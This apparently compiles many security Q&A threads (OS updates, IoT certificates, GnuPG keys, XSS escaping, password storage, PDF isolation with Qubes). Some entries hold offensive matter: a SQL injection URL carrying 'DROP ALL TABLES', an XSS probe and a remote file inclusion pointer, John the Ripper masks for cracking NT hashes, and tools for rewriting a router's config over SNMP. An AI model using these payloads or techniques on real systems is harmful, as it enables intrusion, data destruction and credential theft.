Update fresh installation of Linux OS It seems to me that there's some sort of "race condition" when you install a new Linux OS (this applies to every OS, but I'll restrict this question to Linux only). When you download the OS for a fresh installation, the image is usually out-of-date. In OS's that have a rolling release policy, the downloaded image is not very old, but in other cases it might be out-of-date by several months. Before you have a secure installation, you need to update it, which usually means that you need to connect to the internet. At this point, when you connect to the internet an before the update is complete, the OS might be vulnerable for a short time (usually minutes or hours).

Is this something we should worry about for common Linux OS's? I would suppose that remotely exploitable vulnerabilities during this process are non-existent, unless the Linux distribution is really screwed up by default and has insecure services running by default.
Would it be enough to just block all incoming connections before connecting to the internet? That is: 1) install, 2) set firewall to reject all incoming connections, 3) run updates.
Are there any best practices to follow to avoid this problem? I know in theory you could download the updates from another machine, and then install them offline, but that seems cumbersome (you'd first need to find out what packages should be downloaded, and for this you'd probably need to test the fresh installation in a VM, etc.)

It's a good idea to make sure the system runs in a controlled environment until it is fully updated.  Make sure that the system is not running any services that accept incoming connections, and that the system does not make any outgoing connections to any servers (except the update servers), until the system is updated.  Even better, if the system is behind a hardware firewall that prevents any incoming connections from external hosts from reaching the system.  With such a controlled environment, the window of opportunity is very small for an attacker who is trying to exploit a vulnerability in the yet-to-be updated system.

There are actually Windows XP systems that have been running for years in similar controlled environments, without being compromised, even through Windows XP has been end of life since 2014.


Managing https security for IoT gateways My company is a IoT-Gateway manufacturer. Customers are increasingly getting serious about security issues in the IoT domain. Additionally, governments require dedicated security features as HTTPS for embedded web severs.

For example, the German government agency for security in IT-systems (BSI) requires to use "TLS 1.2 in combination MIT Perfect Forward Secrecy" as minimum security.

My questions are:

From an IoT manufacturer's point of view, is an "upload certificate" feature in the IoT device sufficient to ensure certificate security?
Are there already a standard API (or RFC) to replace certificates? Considering large IoT installations the replacement and management of certificates is defitively a big challenge.
How do companies manage the HTTPS certificate infrastructure for IoT devices today? Are self-signed certificates used in Intranets or official certificates? Does every IoT gateway get a different certificate? Do companies operate private certificate authorities?

Many companies (like fortinet, stormshield, ...) use selfsigned certificates. They have a internal PKI which produce these certificates but they are not trusted by web browsers.
Many of them permit to upload the owner certificate. There is no big deal with this operation except that permissions must be carrefully configured

What do you need is probably a PKI to manage your own certificates. Then, you can set a secured https channel if you control the gateway and the client.
If you do not control the client, you cannot force it to trust your Certification Authority (CA), so you cannot ensure that https between the gateway and the client is safe (man is the middle is possible).
So you can propose to clients to add your CA as a trusted one or make your CA be signed by a certification well known authority (comodo, verisign, etc.)


key usage for offline gnupg master key I've been reading some articles about using an offline master key for gnupg, and I'm confused about the key usage. It seems every article has a different opinion about it. I've seen the following usages on the master key:

C: Certify only
S: Sign only
CS: Certify and sign only

What's the correct usage for the master key these days? I have a different subkey for signing, encryption and authentication.

At the moment, I only specified (C)ertify on my offline master key, but I want to be sure this is enough and I will not run into any surprises when one of my subkeys expire (and I need to extend them).

The "master" is the key that can certify other subkeys, so the only relevant usage for your master key is (C). When GnuPG creates a brand new set of keys, the default behaviour is to create a master key that can also act as signing key, so it assigns it (CS) capabilities, which is why you frequently see that combination. However only the (C) capability is relevant to your offline master.

In other words, what you have is correct.


Securely storing a master key client-side My company is currently evaluating a product which comes with a browser-extension-based password manager. The password manager is peripheral to their core product, but is the only way to use it. We're trying to assess their security — we're not going to be storing super-confidential entries, but we do want to make sure there's at least a baseline level of security.
The company that offers the password manager claims that the master key that is used to encrypt/decrypt passwords is stored entirely client-side, and that only the encrypted passwords are stored on the server. However, we've seen a demo, and we know that you don't need to re-enter the master password (which is used to generate the master key) every time you decrypt a password, which indicated to us that the master key is being stored somewhere client-side.
My question is, how can a browser extension be securely storing this master key client-side? Any cookie- or localStorage-based solution would be completely insecure, no? I'm hoping to get a high-level understanding so we know what questions to ask on the security-side of things.

It is possible that the master password is asked to the user one time during the start of the app and, then, it will stay stored only in the RAM.
This way, the master password doesn't need to be written on the persistent memory (hard drive), so it is pretty secure.
But this schema does not allow the app to have a "forgot password" feature.
If the app need to have advanced features like the forgot password, it needs to store some secrets permanently. One way is to use the dedicated interface provided by the OS.
Many OS have a kind of software HSM which is dedicated to store secrets of the computer in the behalf of the apps (DPAPI for Windows, keystore for Android, ...). These software HSM are designed to implement all the protections against a physical attacker. So, even if no one of them are unbreakable, they try to slow the attacker as much as possible.
The best protection is the real HSM (H for Hardware) which is unbreakable without a significant money cost gear


Risk assessment scope and critical assets We've started implementing ISMS in our organization. The scope is IT dept and all users of the company who are connected to our WAN. but our risk assessment scope is only Data center and Network infrastructure and we are told to consider only critical assets of this scope for first implementation.

Now I want to know:

Is it acceptable to consider only critical assets not all of them?
With what parameters we choose critical assets?
Are core processes in this scope one of our critical assets or only information that is used and generated in these processes should be considered as assets?
Is this a correct view for what I explained:
for defined risk assessment scope which is defined under our ISMS scope, we consider our core and distributed switches and routers, critical network connections between them, our servers which are VMs and their hardware (SANs, Storages, Blades), and what else?

Hmmm. I think I am slightly concerned about the way in which your company is thinking about what's on what side of the critical vs. less-than-critical line here.  Because (from the way you put it) it appears that it's taking a very sort-of supposedly "traditionalist', tangible equipment-centric, location-centric approach to determining what is and is not critical in terms of risk potential. And, in my view, (yes, a slight touch of opinion leaking in here, maybe) that's a tendency you want to correct early on.

There are really two types of things* you need to protect in the critical category: critical information, and critical systems. To put it briefly but clumsily, the thing about critical information is that information doesn't just exist or move to "where it is supposed to be". There's no way you can just say "All critical information anywhere in our networks, get into our datacenter, now!" and have it work. You have to go out and find vital information/data that is hugely important and that your company absolutely must protect. You have to go out to where it's created inside your company or where it comes into your company and see where that is.  You need to see whom it flows to and to where. And then see where it eventually winds up and is stored (likely that datacenter, finally.) And then, once you determine what the critical information really is and where it is and where it flows then you can start to do risk assessment  and all the other fun bureaucratic planning and such.

But first you need to go out in the field and figure out where the critical info actually is. Not just say assess stuff at Location X first because Well, the important stuff is theoretically supposed to be there, and therefore it is all there. (And that's particularly not a great approach to take in this era of ubiquitous smartphone use and ever increasing cloud usage, sometimes with pre-approval from centralized management and sometimes without.)

As for critical systems, I think much of the same analysis holds.  Looking after risks related to the expensive servers and networking equipment in your datacenter is certainly a good & necessary thing to do, but a reasonable person might conclude that looking at the risks relevant to the smartphones your company's R & D executives carry around everyday are even more deserving of being labeled "critical".

Anyway, my two cents. Cheers.


Discouraging users from copying images off a website? Let me begin by stating that I'm aware it's extremely tedious or virtually impossible to prevent individuals from pirating content.

I'm working on a website for a client who is a relatively well known cartoonist. We're working on methods to prevent users from ripping off his work and republishing it, or more so from reproducing it offline, be it on mugs, or similar. I intend to use WordPress on the backend.

I was demonstrating to him how ridiculously easy it is to bypass the disabled right-click.

TLDR: I was wondering what are the other methods to discourage or deter a user from copying an image, and reproducing it?

(I'm aware of watermarking, but it really spoils how the image looks.)

I've already referred to these questions:

Are there DRM techniques to effectively prevent pirating?
Is it possible to prevent unauthorized copying or recording of data by photographing screens?
Prevent Users from Downloading Javascript, Images

There is no way to block saving of images, but here are some ideas to make it harder.

To prevent right-clicking the image to save it, you can overlay a transparent div on it. The user will then right-click the div instead of the image below it and the context-menu will not show "Save image as".
You could use a data URL to show the image so that there is no separate file on the server to link to.
You could use hotlink protection by checking the referer before serving images.

Even with all these countermeasures, any user can just make a screenshot of the page and crop the image out of it.

Given it is very easy to bypass these countermeasures, you may consider not implement any anti-downloading functionality at all. Use of the images is already protected by law.


Escaping rich text editor output When having a rich text editor on a web application, what is the best way to escape HTML entities and prevent XSS attacks but keep the formatting (<b>, <i>, <u>, ...etc.) ?

The Content-Security Policy or CSP allows you to create a page of user controlled HTML that does not execute JavaScript, and therefore not XSS.

This is telling the browser not to execute JavaScript,  which is a lot stronger than filtering the output,  and using both will improve security. HTML filtering libraries such as HTMLPurifer, antisammy, safehtml,  have all had numerous bypasses and therefore should not be used as the only means of defense.  These are very complex filters,  and complexity is the worst enemy of security.


Are virtual keyboards not necessary anymore to protect against keyloggers? My bank has issued a new version of their online banking site.
This new version has no virtual keyboard to enter the PIN.
I asked them how are they protecting me against keyloggers but I didn't receive any answer.

Virtual keyboards were an easy-to-implement solution to malware that recorded keystrokes from the keyboard and hardware keyloggers.

But the keylogger software developers quickly adjusted to this new technique (sometimes by simply taking a screenshot focused around where the mouse clicks).

In the end, it is not clear that a virtual keyboard provided any broad benefit. It would certainly defeat a hardware keylogger installed on your keyboard, but that's not the likely threat.

Given that keylogging software expects to also capture virtual keyboards, there is little benefit to maintaining this technology in the broad, likely scenario.

Tests have been done on the effectiveness of virtual keyboards:

https://www.raymond.cc/blog/how-to-beat-keyloggers-to-protect-your-identity/


Standard for Determining the Anonymity Level of a Proxy Is there a standard for determining the anonymity level of a proxy? After reading various articles, I have come to the conclusion that you determine the anonymity level by analyzing the headers but I have not found a standard as for which headers to analyse.

Most common way of determining the proxy is by analyzing the headers such as HTTP_VIA, HTTP_X_FORWARDED_FOR, or HTTP_FORWARDED (which you've already mentioned). At least, almost all web based proxy detection applications such as this and this analyze these headers to detect whether or not the request has came from a proxy. Try visiting those web applications using with an Anonymous proxy (such as Tor) and they wont be able to detect those headers in the request. This is because Tor does not attach typical proxy headers (such as Via or X-Forwarded-For), or in any other way modify HTTP requests or responses.

I don't know about a particular standard, but according to this Wikipedia article, there are 3 basic types of proxies depending on their level of anonymity:

  Fully anonymous proxies - Such proxies do not change request fields and look like real browser. Your real IP is also hidden of
  course. People that administer internet servers will think that you
  are not using any proxies.
  Anonymous proxies - Do not show a real IP but change the request fields, so it is very easy to detect that a proxy is being
  used by    log analysis. You are still anonymous, but some server
  administrators    restrict proxy requests.
  Transparent proxies (not anonymous, simply HTTP) - Change the request fields and they transfer the real IP. Such proxies are not
  applicable for security and privacy while surfing on the web. You can
  use them only for network speed improvement.


Is storing plaintext passwords for email accounts any less bad? I recently found out that the company I use for shared hosting stores passwords for email accounts in plaintext (they mentioned this to me incidentally, while troubleshooting another issue). They're a major company that does business and e-commerce hosting, so I'm shocked. But I'm just a hobbyist, so I'm not completely sure there aren't exceptions to the rule that you should never store plaintext passwords.

Is there any possible justification for this? Are email account passwords somehow different, such that I shouldn't be concerned that they were able to look it up?

update - in case anyone was curious, I inquired further and found out that the passwords weren't in plaintext, but they were reversibly encrypted. Still not ideal but considerably less bad.

Passwords, should NEVER be stored plain text, regardless what they are used for. People tend to reuse their passwords, meaning a person's email password could be the same for his facebook account or other more critical application. Therefore performing correct password hashing is imperative.


Automatic change of hotspot network name on Android Phone I saw this sudden change in my hotspot name.
It has been months since I last used it. Is this something to be concerned about?
My colleague also saw something similar where both his network name and password were changed to something weird.

You can see this post. The name can change if the internal app changes. So an upgrade of the apk or even if you upgrade the system can do this change.

You say in your comment that your colleague didn't made a system upgrade. Ok, maybe only upgrade his apps on play store. That's enough.


Why isn't FTPS, SFTP, or other protocols which use SSL/SSH on port 443/22? ANSWER ON THE BOTTOM

I'm in the process of taking my Security+ exam, and I was taught by the professor teaching me that, when trying to figure out what port to put a protocol on (as there are a LOT of ports), if the protocol is combined with SSH or SSL, then the port number is by default 22 and 443 respectively. Fair enough, easy to do.

Now I'm studying and I see FTPS, which I interpreted to mean File Transfer Protocol combined with Secure Socket Layer (FTP + SSL), correct? So why then isn't on 443?

I did a bit of research on it, and it appears that there are several ports that need to be opened in order to maintain compatibility or something (according to https://en.wikipedia.org/wiki/FTPS#Methods_of_invoking_security), but even then, the ports are 990 and 989.

I can understand if one of the ports is 443 while the other is on another port, but I don't understand why NONE of it is on 443. Why is that?

Is it because of the older FTP clients not being compatible? The above link mentioned about compatibility, but I wanted to make sure that was the case.

ANSWER -- it seems that I was misinformed. In the case of SFTP, SFTP actually has nothing at all to do with FTP. While it does carry similarities, the 2 are completely different. FTP is its own standalone protocol that has its function. SFTP, however, is not FTP with SSH added to it. SFTP is literally SSH with functionality similar to FTP. SFTP actually IS SSH, it's just SSH with a dedicated ability to transfer files over that specific port.

In reality, if they're not extensions of SSH like above, then most protocols that add in SSH or SSL (IMAP vs IMAPS/SMTP vs SMTPS) on top of their existing protocols, they have defined ANOTHER port number, in order to signify their intentions when they connect to that specific port.

- IMAP is port 143, but IMAP/S is port 993

- SMTP is port 25, but SMTP (Secure) is 465

- POP3 is 110, but POP3 (Secure) is 995

Ports are an endpoint for communication and usually represent services running.

I think your professor meant that a service using SSH or SSL would internally interact with the SSH and SSL services running on ports 22 and 443 respectively.

It does not however mean that a service, say HTTP (whose port is 80, usually) runs on 443 when serving with SSL/TLS enabled.

Also, port numbers vary. You can usually run any service on any port that isn't already occupied/reserved.


Safest place for small business to store passwords Where is the safest place for a small business to store its passwords for servers, web domain credentials, etc.?

If you have a small number of people and want to save some money, I would say a number of KeePass databases shared somehow (network share, google drive, etc), and backed up in several ways. The only 'hurdle' is that when someone leaves the company you would need to cycle all the passwords of the DBs the person had access to, as they could walk away with a copy of the DB.

Also free, you also have PassBolt, which you can install on premise and is open source. The extra trouble with this, is that the server where you are running PassBolt has to be hardened to the core. If you can afford it, I would recommend getting the paid version as it offers 2FA (cycling password still applies).

Also on the entry level (money wise) the more advanced offerings of companies like LastPass or 1Pass that allow sharing credentials between teams. Personally, I don't really trust them, and the thing about cycling password still applies again.

If you have a big pile of money, there are are some onpremise platforms such as CyberArk Enterprise Password Vault that also report who and when someone requested a password. I haven't seen any of these platforms being opensource, and you can see which passwords in particular need to be cycled rather than everything.


SQL Injection: Drop All Tables I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the address bar, nothing happens:

http://www.example.com/articles.php?id=-1' or 68 = '66; DROP ALL TABLES; --

I don't see why this isn't working. What is the correct text I must enter into the address bar to drop all the tables (and yes, I am testing this on a backup copy of the site)?

The vast majority of web applications do not allow query stacking. With PHP/MySQL application can allow for query stacking if you use the mysqli::multi_query()or mysqli_multi_query() functions.

You can exploit these systems using sub-select,  union-selects, blind sql injection,  into outfile, or  loadfile().  SQLMap and Havij are both tools that automate the exploitation of SQL Injection. SQLMap is a great tool with a wide range of features, and supports a wide verity of injections and DBMS'es.


How could the Skype app log me out from my Facebook account on OSX? Isn't this a huge security flaw? According to this post (and to my personal experience), installing the Skype app on Facebook and the Skype client on OSX Mavericks will result in you being logged out from Facebook every time you launch the Skype client.

This question is not only to warn you of such an issue but to discuss what this could imply. It is my understanding that no third-party application should have arbitrarily access to navigation cookies: since this looks like what's happening, I'd like to know:

How exactly can the Skype client trigger such a response?
How is this not a security issue?

First off, I am not associated with Facebook in any way, shape or form and I have no idea how the site code actually works.

That said, this doesn't have to be a security issue at all. In very broad terms, here's how I suspect it's happening in the backend:

Somewhere in FB's vast, vast database of user info there is a table that basically lists "The connection with this session ID is signed on as this user."
When your skype app starts up and presents FB with your login credentials, Facebook notices that you are now connected with two different sessions, decides that something must have happened to your previous connection and clears it from the session table.
The next time that your web browser calls up a refresh of your facebook page as it's instructed to do via the ajax/jquery code on the facebook site, facebook no longer recognizes that particular session and asks you to log back in.

No security breaches, and the Skype app is blisfully unaware of the havoc it has wreaked.


What is a password mangler What is the definition of a password mangler and what is its application used for? I've did some searches on it, but the information are quite vague.

I'm not sure this is a standard term. A quick search reveals that many different people use the term to mean many different things. The common element is that the process takes one password and modifies it.

Some uses are to make a weak password stronger, others are to enable you to use the same password everywhere but to have the mangler make it unique for each site.

So, I don't think there is a standard use, or even a standard use case, let alone a common definition.


DLP and personal information I think my company installed something in our Navigators. I think it is a DLP (Data Loss Prevention) tool.

Does that mean the administrator of the DLP can control our secret information? For example my emails, websites that I access, or what is the real purpose of this tool?

If you are using your employer's equipment and network, then nothing you do on them can be considered private. They will be able to see any personal things you do on your employer's equipment. This should not be a surprise.

If you have specific questions, you need to talk to your employer's IT department.


John the ripper multiple mask attack I am going to use John the Ripper on a multi-core server to crack about 400 Windows NT hashes. Depending on my CPU capacities I want to check all passwords that satisfy following masks:

?1?1?1?1?1?1?1 --min-len=1

?2?2?2?2?2?2?2?2 --min-len=8

?3?3?3?3?3?3?3?3?3 --min-len=9

?4?4?4?4?4?4?4?4?4?4 --min-len=10

where:

-1: ?l?u?d?s

-2: ?l?u?d

-3: ?l?d

-4: ?l

I have 16 cores (32 threads) so I am planning to run using --fork=16 or --fork=32. The only part I have not find is how to run more masks in one command.

PS: I have to use JtR, not HashCat.

I'm not aware of a way to pass a list of masks to john as a single command (in the way that hashcat allows).

The best you can do today is to use the custom placeholder syntax (-1, -2, etc.) just as you've done, and run each command separately (which could be combined into a single run with a batch or command file).

(And if your limitation on hashcat is just that you can't use OpenCL, this attack is simple enough that you could use hashcat-legacy (download here), which is CPU-only.)


How to check if the HTTPS connection is using perfect forward secrecy? Question

As a regular Internet user, how do I check if my current HTTPS connection to some website is using perfect forward secrecy?

Example

I've taken two screenshots from my HTTPS connection to Google. Can anyone help me to interpret the information?

Short answer: if you see the string "ECDHE" or "DHE" in the "Technical Details" section, the connection is using forward secrecy.

Long answer: the "Technical Details" section in your second screenshot displays what's called the "cipher suite".  In your screenshot, the cipher suite is TLS_ECDHE_RSA_WITH_RC4_128_SHA.  This can be broken down as follows:

Transport protocol: TLS (Transport Layer Security)
Key exchange: ECDHE (Elliptic Curve Diffie-Hellman with Ephemeral key).  This is the cryptographic primitive used during the TLS handshake to establish the keys used for the rest of the connection.  Any key exchange that uses ephemeral keys provides forward secrecy.
Certificate signature algorithm: RSA.  This is the cryptographic primitive used to verify the server's identity.
Cipher: RC4_128 (RC4 with a 128-bit key).  This is the cryptographic primitive used to encrypt the data.
Hash algorithm: SHA (SHA-1 to be precise).  This is the cryptographic primitive used to ensure the connection is not tampered with.


Exploiting printed _GET parameters in PHP I am trying to learn how to exploit poorly secured $_GET parameters on my own website for research purpose. I just want to execute basic stuff like phpinfo().
The vulnerable code is like so :

if(isset($_GET['s_location'])) {
    $search_location = $_GET['s_location'];
}

$search_location is then printed on the webpage :

<?php print $search_location; ?>

I tried many ways without any results:

URL/?s_location=phpinfo();
URL/?s_location=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59));
URL/?s_location=eval('phpinfo();');

You won't be able to exploit code execution that way. Your code is vulnerable to cross-site scripting (XSS), but not code execution. For that you would need something like eval(), or a more subtle implicit php eval call.

However, you can exploit XSS in the above example by injecting Javascript, try something like <script> alert(1) </script> for your user input and see the popup come up in Javascript. :) An attacker could use this to pass a link with the attacker's javascript to an unsuspecting user, who when opens the link, runs the attackers javascript, potentially giving away anything from the application UI or client-side storages to the attacker. The attacker would then be able to do anything Javascript can do, when run in a user's browser in the application context (ie. running on the application origin).

A lot more info on XSS is here for example.

Update (exploiting code execution)

So you cannot execute PHP from user input this way. To make it vulnerable to code execution (ie. to be able to run PHP from user input) you need to use a variable with user input in something like eval(), like for example <?php eval($search_location) ?> in your example.

Another typical way an application would be vulnerable to this is include($_GET['myinclude']), in which case you could try providing http://some.site.tld/yourscript.php as myinclude and see how it is loaded and run on the application server.

Yet another example to make it run php code would be to use the e modifier to a regular expression with user input, as described here.

There may be many more, but simply printing a variable is "only" XSS, not code execution (fortunately, given how many websites are actually vulnerable to XSS). :)


Is multi-factor authentication supported by any current bios? Is multi-factor authentication supported by any current bios'es?

Update
What I want to do is to make it impossible to go into the bios setup without both a password and another factor.

It would also be nice to be able to prevent boot without the "other" factor.

Specific hardware/bios combinations which support this would also be interesting as a part of the answer.

It's difficult to say, since there could be a BIOS somewhere that does it, but I've not been able to find anything. You're probably going to have to stick to password protecting your BIOS.

If you're looking for a way to secure your system with multi-factor authentication, consider setting up TrueCrypt and using system (boot) encryption to encrypt the entire disk. This allows you to set a password to decrypt the disk at boot, and (if I remember correctly) you can use keyfiles off any standard USB mass storage device in newer versions.


PGP: Including your public key as a recipient? Any less secure? I understand that when I send a message to my friend Bob using his public key, it's a 1 way encryption. However, if I add my own public key to the list of recipients, it allows me to later decrypt what I sent.

By adding my public key, is that any less secure?

On the one hand, if someone compromises your private key, such person would then be able to read your past encrypted correspondence. If that's not an acceptable risk to you, then you shouldn't encrypt to self. On the other hand, more often than not, the person responding to you would leave your previous message body intact anyway (especially when top-posting), so an attacker would be able to piece together what you were talking about anyway.

I'd say the security gains of not encrypting to self are not worth the inconvenience of not being able to read your own sent mail.


What's the danger of malicious JS and .DOC files in the AppData\Local\Temp folder? I keep seeing malicious .DOC and .JS files appear in the \AppData\Local\Temp & the \Temporary Internet Files of users. A few questions:

Under what circumstances do DOCs and JS files appear in these locations? Is it just from web browsing?
Is this indicative of a malware infection?

Temporary directories store cached information for fast retrieval. The Temporary Internet Files directory stores cached versions of webpages, including any attached files, such as javascript. Temporary versions of document files may be downloaded if you select "open" rather than "save" upon downloading a file. In either case, depending on the nature of the malicious file, the file could execute from the temporary directory, but having doc/js files in this directory in and of itself is no cause for concern unless those files have been identified as malicious.


Account lockout to protect from brute force: doesn't it open up vulnerabilities to DOS attacks? AFAIK the recommended practice to mitigate brute force attacks is to lock an account down for, say, 15 min (perhaps escalating lockout time if the attack continues afterwards?) after, say, 5 failed login attempts.

I understand the reasoning (brute force mitigation) but there's still one thing that worries me. Namely, doesn't this make the site vulnerable to malicious account lockouts?

Less severe version: A petty troll doesn't like user X so they enter a trivially wrong password for account X 5 times in a row. Repeat after 15min.

More severe version: Full blown DOS attack, automated "brute force" attack against the webstite's recently active users solely for the purpose of triggering the lockout mechanism. Let's say the website has around 1000 logins per day; attack against users who logged in in the last week = at most 7000 accounts, far fewer actually, let's say only 3500; 5 login attempts = 17500 login attempts, I don't know but this seems definitely feasible, doesn't it? And that's already a quite popular site: for websites most vulnerable to such attacks (Internet forums?) these numbers may even be two orders of magnitude lesser!

I don't understand this practice. Doesn't it mitigate brute force password cracking attacks at the cost of opening up glaring vulnerabilities to DOS attacks?

Yes, you are right, always there is need to based on the risk management of the situation and to understand what your risks and what is the main issue that you want to solve better that the other issues.

A good practice is to combine, for example you can deploy a login delay that will will not really hurt your user experience but will make hard life for the the bad guys. Let's say, make a random delay like 2 sec - to 10 and don't lock your user for more that 2 min.

And better use captcha even without blocking users at all (or only block after a big amount of failed logins based on IP address and not based on user name)..

A nice reference to read (not exactly what you are asking but interesting to get some insights):
https://crackstation.net/hashing-security.htm


How to rewrite config files using SNMP? I scanned a router and found that the community string is public. The write access is also enabled. Now I want to change the configuration of the router. Can anybody tell me about tools and tutorials by which I can know how to change the configuration? Thanks in advance.

Cisco SNMP Tool is a tool that allows you to:

Telnet to Host
Reboot device
Upload Running & Startup Configuration
Download Running & Startup Configuration
Reset Passwords
Write NVRAM

Just make sure you have permission before doing anything on the router.


What is the safest way to deal with loads of incoming PDF files, some of which could potentially be malicious? As an investigative journalist I receive each day dozens of messages, many of which contain PDF documents. But I'm worried about some of the potentially malicious consequences of blindly opening them and getting my computer compromised. In the past, before I started working in investigative journalism, I was using virustotal.com to analyze all files (including PDFs) coming to my inbox, but that's not possible in this case as the files will be sent to them when they're meant to be confidential before release. And I heard that antivirus solutions are not 100% foolproof.

What is the safest way to deal with loads of incoming PDF files, some of which could potentially be malicious?

I think the safest option for you would be to use Qubes OS with its built in DisposableVMs functionality, and its “Convert to Trusted PDF” tool.

What is Qubes OS?

Qubes is an operating system where it's all based on virtual machines. You can think of it as if you had different isolated ‘computers’ inside yours. So that way you can compartmentalize your digital life into different domains, so that you can have a ‘computer’ where you only do work related stuff, another ‘computer’ that is offline and where you store your password database and your PGP keys, and another ‘computer’ that is specifically dedicated for untrusted browsing... The possibilities are countless, and the only limit is your RAM and basically how much different ‘computers’ can be loaded at once. To insure that all these ‘computers’ are properly isolated from each other, and that they can't break to your host (called ‘dom0’ for domain 0) and thereby control all of your machine, Qubes uses the Xen hypervisor,[1] which is the same piece of software that is relied upon by many major hosting providers to isolate websites and services from each other such as Amazon EC2, IBM, Linode...
Another cool thing is that each one of your ‘computers’ has a special color that is reflected in the windows' borders. So you can choose red for the untrusted ‘computer’, and blue for your work ‘computer’ (see for example picture below). Thus in practice it becomes really easy to see which domain you're working at. So let's say now that some nasty malware gets into your untrusted virtual machine, then it can't break and infect other virtual machines that may contain sensitive information unless it has an exploit that can use a vulnerability in Xen to break into dom0 (which is very rare), something that significantly raises the bar of security (before one would only need to deploy malware to your machine before controlling everything), and it will protect you from most attackers except the most resourced and sophisticated ones.

What are DisposableVMs?

The other answer mentioned that you can use a burner laptop. A Disposable Virtual Machine is kind of the same except that you're not bound by physical constraints: you have infinitely many disposable VMs at your wish. All it takes to create one is a click, and after you're done the virtual machine is destroyed. Pretty cool, huh? Qubes comes with a Thunderbird extension that lets you open file attachments in DisposableVMs, so that can be pretty useful for your needs.[2]

(Credits: Micah Lee)

What's that “Convert to Trusted PDF” you were talking about?

Let's say you found an interesting document, and let's say that you had an offline virtual machine specifically dedicated for storing and opening documents. Of course, you can directly send that document to that VM, but there could still be a chance that this document is malicious and may try for instance to delete all of your files (a behavior that you wouldn't notice in the short-lived DisposableVM). But you can also convert it into what's called a ‘Trusted PDF’. You send the file to a different VM, then you open the file manager, navigate to the directory of the file, right-click and choose “Convert to Trusted PDF”, and then send the file back to the VM where you collect your documents. But what does it exactly do? The “Convert to Trusted PDF” tool creates a new DisposableVM, puts the file there, and then transform it via a parser (that runs in the DisposableVM) that basically takes the RGB value of each pixel and leaves anything else. It's a bit like opening the PDF in an isolated environment and then ‘screenshoting it’ if you will. The file obviously gets much bigger, if I recall it transformed when I tested a 10Mb PDF into a 400Mb one. You can get much more details on that in this blogpost by security researcher and Qubes OS creator Joanna Rutkowska.

[1] : The Qubes OS team are working on making it possible to support other hypervisors (such as KVM) so that you can not only choose different systems to run on your VMs, but also the very hypervisor that runs these virtual machines.
[2] : You also additionaly need to configure an option so that the DisposableVM-that is generated once you click on “Open in DispVM”-will be offline, so that they can't get your IP address. To do that:  "By default, if a DisposableVM is created (by Open in DispVM or Run in DispVM) from within a VM that is not connected to the Tor gateway, the new DisposableVM may route its traffic over clearnet. This is because DisposableVMs inherit their NetVMs from the calling VM (or the calling VM's dispvm_netvm setting if different). The dispvm_netvm setting can be configured per VM by: dom0 → Qubes VM Manager → VM Settings → Advanced → NetVM for DispVM." You'll need to set it to none so that it isn't connected to any network VM and wont have any Internet access.
[3] : Edit: This answer mentions Subgraph OS, hopefully when a Subgraph template VM is created for Qubes you could use it with Qubes, making thus exploits much harder, and thanks to the integrated sandbox it would require another sandbox escape exploit as well as a Xen exploit to compromise your entire machine.


Convincing the boss about the importance of privacy and security I work for a company that does not value privacy and IT security the same way that I do. It's a relative small company that is used to work this way without anyone complaining. The employees don't (seem) to care and the customers have no idea. A few of the problems are:

Printed passwords, name and addresses of customers
Not destroying these documents
Same password for most systems
etc. etc.

Now I pointed out these points are a serious problem and can cause major damage to both customer and reputation damage to the company. However they don't take me serious since I am  just the nerdy IT security student. What is the best way to approach them and convince them that this is unacceptable? I stubbornly keep shredding all the documents hoping more will follow, no luck so far.

Even though it does seem alot like
this post I do not think it is the same. However feel free to mark it as a duplicate if im mistaken.

if your compagny is working in Europe, tell him that in May, the GDPR will be launched and every company which have a leak of personnal data can suffer law pursuit and penalties around 4% of the world incomes.

More specifically, being a little structure was pretty safe years ago. But today, most of the hackers are targeting small structures (because they are not secure) to launch ransomware or to do bitcoin mining (which can cause your servers to be dead quickly and your electricity invoice to be scary).

most of the time, during a governance audit, I ask:

What is so sensitive that you cannot loose it?
The emails
... no, not the emails, if you loose the exchange server is disturbing but your company still exist
hummm
what if you loose your ERP?
loosing the ERP ?
Everything, the invoice, the contacts, etc. Imagine someone breaks this server
ho no don't do that, without ERP we don't know who must pay us, what we have to deliver, it's critical
yes it is. Okay so you have the impact. What is the likelihood ? The ERP is not quite secure because the password is bad, so if someone try to break it, he will suceed
yes but noone will attack us
this is the last point: the occurence. How often someone will want to disturb you (evil employee, former trainee, hacker)? Can you really say never ? I don't think so, never does not exist. One time every 7 years ? Okay it's not often...but when it will come, you loose your entire company. How much your company is valued ? 1 000 000 ? Okay so your security yearly budget is 1000000/7: 140k


Pentesting against own web service hosted on 3rd party platform I want to pentest websites and services programmed by our company, which is fine as long as we test it on our own infrastructure. What are the (legal) implications when pentesting our services once they have been deployed to other platforms like AWS, Azure etc? Since we technically do not own the target system (we just rented a share of it), would I have to get clearance from the hosters? Obviously their implementation of a hosted service greatly affects security, so I'd like to compare the differences to our own intranet hosting.

In general, you're correct you'll need the permission of the hosting company where you are scanning services deployed on their infrastructure. This is partially so that their Intrusion Detection Systems are aware that it's an authorised scan.

Both AWS and Azure have policies detailing the process and what's acceptable to test.  The AWS one is here and the Azure one is here . If a hosting company doesn't have a published policy, it's worth contacting them to check.

Also it can depend on the exact service that you're using from the cloud hosting provider.  So for example for AWS, they allow you to test IAAS style offerings such as AWS EC2 where the customer is responsible for the operating system and not SAAS offerings like AWS S3 where Amazon are responsible for the operating system and associated software.  However Azure appears to have a more wide ranging policy where you can test any services you own.

Also test types can be restricted, for example DoS testing may well not be allowed as obviously that can have an affect on the cloud provider.

For "traditional" hosting it generally depends on the type of service you have. If you're using shared hosting where you just have access to the webroot you may well be restricted from testing, as obviously there's a risk of affecting other users on the same server, however where you have a full OS image (e.g. Digital Ocean Droplets) you tend to be ok as long as you've notified them (in the case of digital Ocean, via a support ticket).

There's also a longer list of where to go for different companies here


How is this Identity aware encryption description different from simple authorized access? I was reading this article by Credit Karma (An American fintech). They mention that this system of "identity-aware encryption" helps them better protect the data of their users and to keep it private.
This block diagram tries to explain how the process works:

A user makes a request to the application to get some data
Since the data is encrypted, the application needs to make a request to HSM/KMS to fetch the key. So, the application forwards the user's auth token to HSM/KMS system.
After verifying the auth token, the HSM/KMS returns the key to the application
Application then uses the key to decrypt the data that it gets from the database.

My question is, how does this system become more secure than a simple authorization check done using the auth tokens and user's identity?
When a user makes a request to the application, the application can check if the request came from an authorized user and then go look for the key that user.
This particular paragraph makes me doubt the system's efficiency even more:

What About Background Processing?
